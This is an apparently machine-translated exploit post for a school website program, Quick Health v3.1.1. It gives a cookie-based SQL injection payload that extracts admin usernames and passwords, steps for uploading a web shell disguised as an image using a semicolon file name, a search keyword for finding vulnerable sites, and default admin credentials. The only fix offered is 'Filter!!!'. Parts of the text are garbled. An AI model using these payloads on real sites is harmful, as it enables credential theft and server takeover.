Quick Health School website program v3.1.1 cookie injection vulnerability and repair

By Mr. DzY From www.0855. TV

Software Introduction [copyright notice] PS: It seems to be the oyaya kernel.

Note:
1. This program is developed in a fast and healthy manner, with a symbolic charge for your use!
2. The system is a shared program. Users are free to choose whether to use it. They are not responsible for the loss caused by any problems during use!
3. Respect the author's Labor achievements. I hope you will not modify the copyright and statement when using it !!!
4. This version is free and does not provide technical support.

Quick health V3.1.1

Demo address: demo.it0951.com

Background Management logon address: http: // your website address/admin/
Background Management
Username: admin
The password is admin.

EXP:
Javascript: alert (document. cookie = "id =" + escape ("170 and 1 = 2 union select

1, admin, 3, 4, 5, 6, 7, 8, 9, 10, password, 12, 13, 14, 15, 16, 17, 18, 19, 20 from admin "));

Get shell:

1. upload images and back up images.
2. 文 ---upload a.asp;1.jpg:

Http://www.bkjia.com/test.asp

Keyword: type_all.asp? Classid =

Fix:
Filter !!! Filter !!! Filter !!!